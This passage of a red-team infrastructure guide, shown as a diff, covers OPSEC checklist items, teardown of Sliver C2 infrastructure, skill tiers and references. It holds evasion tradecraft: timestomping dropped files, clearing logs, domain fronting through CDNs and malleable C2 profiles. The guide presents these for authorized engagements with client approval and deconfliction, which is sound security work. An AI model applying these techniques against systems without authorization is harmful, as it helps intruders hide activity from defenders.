# ✅ Malleable profile matching engagement's allowed traffic
|
|
271
|
+
# ✅ Timestomp all dropped files
|
|
272
|
+
# ✅ Clear logs after engagement (with client approval)
|
|
273
|
+
# ✅ Screenshot all actions for evidence
|
|
274
|
+
|
|
275
|
+
# Deconfliction — register your IPs with SOC
|
|
276
|
+
# "Safe listing" — tell blue team your op IPs to avoid friendly fire
|
|
277
|
+
# Deconfliction email: "Our red team IPs: X.X.X.X — please whitelist"
|
|
278
|
+
```
|
|
279
|
+
|
|
280
|
+
---
|
|
281
|
+
|
|
282
|
+
## Phase 8 — Infrastructure Teardown
|
|
283
|
+
|
|
284
|
+
```bash
|
|
285
|
+
# After engagement ends — destroy all infrastructure
|
|
286
|
+
|
|
287
|
+
# Remove implants
|
|
288
|
+
# In Sliver: session → kill → all
|
|
289
|
+
sessions
|
|
290
|
+
kill --all
|
|
291
|
+
|
|
292
|
+
# Destroy VPS instances
|
|
293
|
+
# AWS: aws ec2 terminate-instances --instance-ids i-XXXXX
|
|
294
|
+
# DigitalOcean: doctl compute droplet delete DROPLET_ID
|
|
295
|
+
|
|
296
|
+
# Revoke certificates
|
|
297
|
+
certbot revoke --cert-path /etc/letsencrypt/live/DOMAIN/cert.pem
|
|
298
|
+
|
|
299
|
+
# Remove DNS records
|
|
300
|
+
# Delete all A records pointing to red team infrastructure
|
|
301
|
+
|
|
302
|
+
# Burn domains (don't reuse across engagements)
|
|
303
|
+
# Each engagement = fresh domains
|
|
304
|
+
|
|
305
|
+
# Final checklist:
|
|
306
|
+
# ✅ All beacons killed
|
|
307
|
+
# ✅ Persistence removed from targets
|
|
308
|
+
# ✅ VPS destroyed
|
|
309
|
+
# ✅ Domains released/burned
|
|
310
|
+
# ✅ Operator VPN config revoked
|
|
311
|
+
# ✅ Evidence logs delivered to client
|
|
312
|
+
```
|
|
313
|
+
|
|
314
|
+
---
|
|
315
|
+
|
|
316
|
+
## Skill Levels
|
|
317
|
+
|
|
318
|
+
**BEGINNER:** Single VPS + direct C2 connection (no redirectors) — acceptable for simple engagements
|
|
319
|
+
|
|
320
|
+
**INTERMEDIATE:** Nginx redirector + categorized domain + Let's Encrypt cert + WireGuard VPN for operators
|
|
321
|
+
|
|
322
|
+
**ADVANCED:** Apache malleable redirector + domain fronting via CDN + Sliver with custom HTTP profile
|
|
323
|
+
|
|
324
|
+
**EXPERT:** Multi-hop redirector chains + multiple CDN providers + custom malleable profiles + full deconfliction workflow
|
|
325
|
+
|
|
326
|
+
---
|
|
327
|
+
|
|
328
|
+
## References
|
|
329
|
+
|
|
330
|
+
- Sliver C2: https://github.com/BishopFox/sliver
|
|
331
|
+
- Malleable C2 Profiles: https://github.com/rsmudge/Malleable-C2-Profiles
|
|
332
|
+
- RedTeam Infrastructure Wiki: https://github.com/bluscreenofjeff/Red-Team-Infrastructure-Wiki
|
|
333
|
+
- MITRE ATT&CK T1090: https://attack.mitre.org/techniques/T1090/
|